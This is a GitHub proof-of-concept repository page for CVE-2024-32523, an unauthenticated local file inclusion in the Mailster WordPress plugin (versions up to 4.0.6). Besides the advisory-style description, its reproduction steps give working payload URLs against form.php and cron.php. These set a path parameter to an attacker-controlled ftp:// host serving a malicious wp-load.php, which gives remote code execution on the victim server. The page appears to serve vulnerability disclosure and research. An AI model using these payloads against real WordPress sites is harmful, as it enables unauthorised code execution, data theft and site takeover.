Skip to content

CVE-2024-32523 Mailster <= 4.0.6 - Unauthenticated Local File Inclusion

Notifications You must be signed in to change notification settings

truonghuuphuc/CVE-2024-32523-Poc

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

9 Commits
 
 
 
 

Repository files navigation

CVE-2024-32523-Poc

CVE-2024-32523: Mailster <= 4.0.6 - Unauthenticated Local File Inclusion

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mailster-2/mailster-406-unauthenticated-local-file-inclusion

Description

The Mailster - Email Newsletter Plugin for WordPress plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.0.6. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

File Vulnerable: form.php and cron.php image image

function is_dir and file_exists support ftp://

https://www.php.net/manual/en/function.is-dir.php#123573

http://man.hubwiz.com/docset/PHP.docset/Contents/Resources/Documents/php.net/manual/en/function.file-exists.html

Steps to Reproduce:

Require server victim php.ini config FTP and allow_url_include On

image

image

  1. Attacker create file wp-load.php on ftp server attacker
  2. Send payload:

/wp-content/plugins/mailster/form.php?path=ftp://username:password@ftp.example.com/

/wp-content/plugins/mailster/cron.php?path=ftp://username:password@ftp.example.com/

Poc RCE:

Untitled_.May.12.2024.1_52.AM.mp4

About

CVE-2024-32523 Mailster <= 4.0.6 - Unauthenticated Local File Inclusion

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published